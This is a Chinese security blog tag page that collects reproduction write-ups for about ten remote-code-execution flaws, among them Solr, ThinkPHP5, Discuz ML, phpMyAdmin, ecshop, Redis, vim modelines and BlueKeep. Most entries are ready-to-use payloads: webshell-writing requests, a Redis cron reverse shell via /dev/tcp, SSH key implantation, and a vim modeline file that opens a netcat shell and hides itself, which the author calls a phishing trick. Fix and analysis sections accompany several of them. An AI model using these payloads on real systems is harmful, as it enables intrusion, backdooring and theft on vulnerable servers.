Tag:漏洞重现

Tag (漏洞重现)'s result:

PHP+nginx RCE(CVE-2019-11043)漏洞重现

0x00 概述 来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞。 当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大。 Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致nginx传递给php-fpm的 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷,所以攻击者可以使用换行符(%0a)来破坏`fastcgi_split_path_info`指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。   0x01 影响范围 当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞 location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; fastcgi_pass   php:9000; … } } 5.6 crash 7 rce   0x02 漏洞重现 https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md https://github.com/neex/phuip-fpizdam //go install //go get -v //go build     https://github.com/search?q=fastcgi_split_path&type=Code 某大神分享的nextcloud案例: https://docs.nextcloud.com/server/17/admin_manual/installation/nginx.html https://www.zoomeye.org/searchResult?q=nextcloud+%2Bserver:Nginx+%2B&t=all   0x03 数据流量 据说这个exp写得十分精妙。   0x04 修复方案 根据需求,将以下配置删除 fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; or 补丁 https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest   0x05 结语 还是有不少这样配置的,影响较大。   0x06 参考资料 https://mp.weixin.qq.com/s?src=11&timestamp=1572095484&ver=1936&signature=oPmPaXehqGEgAHy6nc0mARQbu5NbL-3GTFrbcxQghC4qvehLlpE9ohw6uTuP0hwcmtOvA3mZWUXhOEImDu0*ltYMJmrMrb-ATqNxOqEMYmV7yV4ntWOQl2JYrhx4*MQ2&new=1  

apache solr velocity模板注入漏洞重现

0x00 概述 20191031 网上爆出apache solr velocity模板注入的rce漏洞,该漏洞由国外安全研究员s00py公开,当solr默认插件VelocityResponseWrite中params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。 //如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true 影响范围在solr 5.x – 8.2.0  (with config api)   0x01 漏洞重现 solr-spec 6.6.1 先利用未授权修改params.resource.loader.enabled参数值为true POST /solr/test/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” } } 再 GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: localhost:8983   0x02 检测工具 https://github.com/theLSA/solr-rce   0x03 防御方案 1.配置授权访问solr控制台。 2.配置文件configoverlay.json设置只读   0x04 参考资料 https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

CVE-2019-0708 RDP RCE漏洞重现(20190907-MSF-EXP)

0x00 概述 前情提要RDP RCE(CVE-2019-0708)集锦 20190907 msf更新cve-2019-0708的exp,瞬间一片震动,经测试,该exp在特定条件下可用。   0x01 影响范围 Target: 0 Automatic targeting via fingerprinting 1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) 2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – Virtualbox) 3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – VMWare) 4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – Hyper-V)   0x02 漏洞重现 1.环境:msf5.0.46dev,vm12.5.7,nat,win7旗舰版x64sp1-7601(cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso)开启3389,reload_all 修改后的4个rb文件,target 2。 cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/ rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 2. 环境 cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_x64_dvd_617598.iso 不改注册表   修改注册表 //HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam为0 未发现该注册表键值,手动增加并设置0 还是蓝屏   注: 2008r2withsp1 english standard需要修改注册表[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam]值修改为0。 打一次要重启靶机一次否则可能会失败。 Windows 2008 r2据说很多都蓝屏…… 更新msf到最新。 调低核心数如2核心2g/1核1g……(多核竞争?) 关闭自动更新防止自动打补丁影响测试。   0x03 结语 目前这个exp如果要利用成功,限制过多,如操作系统版本号,平台,安全设备等诸多因素会影响,估计实战成功率不高,不过这已经是一个大飞跃,预计不久后会有更完善的exp出现。 蠕虫正步步紧逼……   0x04 参考资料 https://github.com/rapid7/metasploit-framework/pull/12283 https://blog.rapid7.com/2019/09/06/initial-metasploit-exploit-module-for-bluekeep-cve-2019-0708/

discuz ml RCE漏洞重现及分析

0x00 概述 7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。   0x01 影响范围 Discuz!ML v.3.4 , Discuz!ML v.3.2 , Discuz!ML v.3.3 product of codersclub.org   0x02 漏洞重现 http://xxx.org/discuzx/portal.php select english or other language   让请求cookie含有xxxx_xxxx_language visit http://xxx.org/discuzx/portal.php again change:4gH4_0df5_language=en’.phpinfo().’; or 4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;   getshell LSmZ_2132_language=es’.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.’;     0x03 检测工具 https://github.com/theLSA/discuz-ml-rce   0x04 漏洞分析 Discuz ml v3.4 为例 dizcuz-ml-34\upload\source\module\portal\portal_index.php:32 include_once template(‘diy:portal/index’); 包含了template函数渲染的文件 进入template函数看看 dizcuz-ml-34\upload\source\function\function_core.php:524 /*vot*/ $cachefile = ‘./data/template/’.DISCUZ_LANG.’_’.(defined(‘STYLEID’) ? STYLEID.’_’ : ‘_’).$templateid.’_’.str_replace(‘/’, ‘_’, $file).’.tpl.php’; if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).’.php’) && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.’.htm’))) { $tplfile = ‘./template/default/’.$filebak.’.htm’; } if($gettplfile) { return $tplfile; } checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file); return DISCUZ_ROOT.$cachefile; 返回了缓存文件名 根据poc可知是language可控,那就是DISCUZ_LANG可控了。 再看看在哪里赋值 dizcuz-ml-34\upload\source\class\discuz\discuz_application.php:304 // set language from cookies   if($this->var[‘cookie’][‘language’]) {   $lng = strtolower($this->var[‘cookie’][‘language’]); 从cookie-language取值给$lng 338 $this->var[‘oldlanguage’] = $lng; // Store Old Language Value for compare   // define DISCUZ_LANG define(‘DISCUZ_LANG’, $lng);   // set new language to cookie dsetcookie(‘language’, $lng);   // set new language variables $this->var[‘language’] = $lng; $lng赋值给了DISCUZ_LANG 根据poc q3KZ_2132_language=sc’.system(‘whoami’).’; 最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’; 包含闭合引号导致执行了代码。 /× 执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887 ×/   0x05 防御方案 1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all 2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。 3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。   0x06 结语 Easy to rce!……

coremail 配置信息泄露及接口未授权漏洞重现

0x00 配置信息泄漏 POC: mailsms/s?func=ADMIN:appState&dumpConfig=/ 可以获取数据库配置信息和推送账号。 有些可能限制ip。 可以进入后台管理。 有些是404,可能打了补丁或者是老漏洞了,也可能是版本问题。 0x01 webservice接口未授权   进一步获取数据失败。      

redis未授权访问漏洞利用

0x00 基本命令 还有flushall 修改相关配置以重现漏洞 config: redis.windows.conf: bind 0.0.0.0 Protected-mode no redis-server.exe “redis.windows.conf” /* redis持久化存储 dump.rdp文件: RDB可以将某一时刻的所有数据写入硬盘中,通过RDB文件,可以将redis数据恢复到某一历史时刻(snapshots)。   save/bgsave save 900 1 save 300 10 save 60 10000 — AOF会在redis执行写命令时,将被执行的写命令复制到磁盘aof文件中,恢复数据的时候,redis会在原有基础上依次执行AOF文件中的写命令,从而恢复数据。   appendonly yes appendfilename “appendonly.aof” appendfsync everysec */ 0x01 反弹shell 192.168.138.129:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.43.237/7788 0>&1\n” OK 192.168.138.129:6379> config set dir /var/spool/ OK 192.168.138.129:6379> config set dbfilename root OK 192.168.138.129:6379> save 未能成功反弹,原因可能是debian,ubuntu的计划任务的格式很严格,须执行 crontab -u root /var/spool/cron/crontabs/root 通过语法检查才能执行计划任务。 也可能是权限或格式(不能有其他脏字符)问题。 只有centos能成功。   0x02 添加ssh key 或者 cat sshpubkey.txt | redis-cli -h 192.168.138.129 -x set x $ redis-cli -h 192.168.138.129 $ 192.168.138.129:6379> config set dir /root/.ssh/ OK $ 192.168.138.129:6379> config get dir 1) “dir” 2) “/root/.ssh” $ 192.168.138.129:6379> config set dbfilename “authorized_keys” OK $ 192.168.138.129:6379> save OK   0x03 Web目录写webshell 192.168.43.237:6379> config set dir D:\phpStudy\WWW\ OK 192.168.43.237:6379> config set dbfilename redishell.php OK 192.168.43.237:6379> set rs “<?php @eval($_POST[x]);?>” OK 192.168.43.237:6379> save   0x04 防御方案 1. 加密码 redis.conf: requirepass mypassword   2. 本地访问: redis.conf: bind 127.0.0.1   3. 改权限 chmod 400 ~/.ssh/authorized_keys chattr +i ~/.ssh/authorized_keys chattr +i ~/.ssh    

microsoft notepad和linux vim/neovim的RCE漏洞

0x00 notepad rce 20190528,Google Project Zero研究员Tavis Ormandy宣布在微软的记事本中发现代码执行漏洞。 从他发布的图片看有看出,成功在记事本进程下启动cmd shell。 由于漏洞披露原则,暂未公开具体漏洞细节。   0x01 vim/neovim rce 1周后,20190604,vim也被曝出rce…… 名为Arminius的安全研究员发现vim/neovim的本地任意代码执行漏洞,poc和exp已公开: 影响范围:Vim < 8.1.1365, Neovim < 0.3.6 https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md //建议直接用原作者的poc和exp,复制和修改可能会失败! POC: poc.txt :!uname -a||” vi:fen:fdm=expr:fde=assert_fails(“source\!\ \%”):fdl=0:fdt=”   :set modeline $ vim poc.txt EXP: exp.txt: \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 7766 -e bash &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n //这里用cat还是能看出来一点exp,可能是编辑器或者win7系统的原因 打开即可成功反弹shell,并覆写文件以隐藏,cat exp.txt看不出(加-v可以看出)     0x02 修复方案   vim补丁8.1.1365 https://github.com/vim/vim/commit/5357552 neovim补丁(在v0.3.6中发布) https://github.com/neovim/neovim/pull/10082 https://github.com/neovim/neovim/releases/tag/v0.3.6   在vimrc中禁用modeline(设置nomodeline),使用securemines插件,或禁用modelineexpr(从8.1.1366补丁开始,仅支持vim)以禁用modeline中的表达式。   0x03 结语 钓鱼妙招!   0x04 参考资料 https://mp.weixin.qq.com/s/f4s7x5MciLDFirSNLlBh3Q

ThinkPHP5 RCE漏洞重现及分析

0x00 概述 近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。 0x01 影响范围 5.x < 5.1.31 5.x < 5.0.23 以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。 shodan一下:   0x02 漏洞重现 win7+thinkphp5.1.24 (1)执行phpinfo /index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’   debian+thinkphp5.1.30 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?> win7+thinkphp5.0.16 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>   0x03 修复方案 直接git/composer更新 手工修复 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   如果改完后404,尝试修改正则,加上\/ if (!preg_match(‘/^[A-Za-z\/](\w|\.)*$/’, $controller)) {   0x04 漏洞分析 Thinkphp5.1.24: 先看补丁: 对controller添加了过滤 查看路由调度: Module.php:83 public function exec() { // 监听module_init $this->app[‘hook’]->listen(‘module_init’);   try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig(‘url_controller_layer’), $this->rule->getConfig(‘controller_suffix’), $this->rule->getConfig(’empty_controller’)); } catch (ClassNotFoundException $e) { throw new HttpException(404, ‘controller not exists:’ . $e->getClass()); } …… $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);   return $this->autoResponse($data); }); $instance = $this->app->controller 实例化控制器以调用其中的方法 查看controller方法 App.php:719 public function controller($name, $layer = ‘controller’, $appendSuffix = false, $empty = ”) { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);   if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {……

phpmyadmin4.8.x LFI to RCE

0x00 概述 6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。   0x01 漏洞重现 环境:win7+xampp+phpmyadmin4.8.1 Payload: http://127.0.0.1:8888/phpmyadmin481/index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini 成功包含system.ini。 进入下一阶段:命令执行 方式一:包含frm 先查看data文件路径:show variables like ‘%datadir%’; 在test库中新建pmatest1表,其中一个字段名设置成<?php @eval($_GET[‘lsa’]);?> 再包含mysql/data/test/pmatest1.frm即可rce, payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/pmatest1.frm 方式二:包含sess文件 利用php用文件存session的特性,在phpmyadmin里的操作都记录在sess_pmavalue中,该文件保存的路径视情况而定: xmapp中保存在 xampp/tmp/sess_pmavalue phpstudy: /phpstudy/PHPTutorial/tmp/tmp wamp: /wamp64/tmp 在Linux下,常见的文件路径为: /var/lib/php/session/ 在phpmyadmin中执行查询 SELECT ‘<?php @eval($_GET[lsa]); exit();?>’ 被记录在sess_pmavalue中 payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../tmp/sess_08vi4klpgs54l05fqq5p34d4ia //因为export.php%3f当成了目录,所以要多一个../ /*使用绝对路径也可以,如: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%253f/../../../../../../../../../../../../../../../../xampp/tmp/sess_fne7a5ah109htpaqndc5jpi8fn */ //不知为何用写入$_POST包含就会跳转首页……   0x02 漏洞分析 漏洞文件: .\index.php:55 // If we have a valid target, let’s load that script instead if (! empty($_REQUEST[‘target’]) && is_string($_REQUEST[‘target’]) && ! preg_match(‘/^index/’, $_REQUEST[‘target’]) && ! in_array($_REQUEST[‘target’], $target_blacklist) && Core::checkPageValidity($_REQUEST[‘target’]) ) { include $_REQUEST[‘target’]; exit; } target符合4个条件就会includ 1. 是字符串 2. 不以index开头 3. 不在 $target_blacklist名单里 4. 符合checkPageValidity函数要求   找checkPageValidity函数: libraries\classes\Core.php:443 public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; }   if (in_array($page, $whitelist)) { return true; }   $_page = mb_substr( $page, 0, mb_strpos($page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   return false; } 需要返回true,三个if有一个满足true就ok了,都需要满足whitelist: class Core { /** * the whitelist for goto parameter……

ecshop 2.x远程代码执行漏洞重现及分析

本文参考自:ringk3y.com/2018/08/31/ecshop2-x代码执行/ //本文漏洞分析部分利用的payload/exp来源于此文。 0x00 概述 8月31日,网上爆出ecshop远程代码执行漏洞,经测试,该漏洞利用难度低,威力巨大可直接getshell,本文对此进行重现及分析。 0x01 影响范围 ecshop 2.x   0x02 漏洞重现 SQL注入: 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} RCE getshell: //工具https://github.com/theLSA/ecshop-getshell   0x03 修复方案 intval $arr[id]和$arr[num]   0x04 漏洞分析 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} 环境:ecshop 2.7.3 漏洞文件: ecshop273\user.php:302 elseif ($action == ‘login’) { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS[‘_SERVER’][‘HTTP_REFERER’])) { $back_act = strpos($GLOBALS[‘_SERVER’][‘HTTP_REFERER’], ‘user.php’) ? ‘./index.php’ : $GLOBALS[‘_SERVER’][‘HTTP_REFERER’]; } else { $back_act = ‘user.php’; }   } $back_act参数来源于Referer,可控。 $smarty->assign(‘back_act’, $back_act); $smarty->display(‘user_passport.dwt’); 赋值展示 ecshop273\includes\cls_template.php:70 function assign($tpl_var, $value = ”) { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != ”) { $this->_var[$key] = $val; } } } else { if ($tpl_var != ”) { $this->_var[$tpl_var] = $value; } } }   function display($filename, $cache_id = ”) { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE);   $this->_checkfile = false; $out = $this->fetch($filename, $cache_id);   if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode(”, $k); } error_reporting($this->_errorlevel); $this->_seterror–;   echo $out; } 关键在于: $out = $this->fetch($filename, $cache_id);     if (strpos($out, $this->_echash) !==……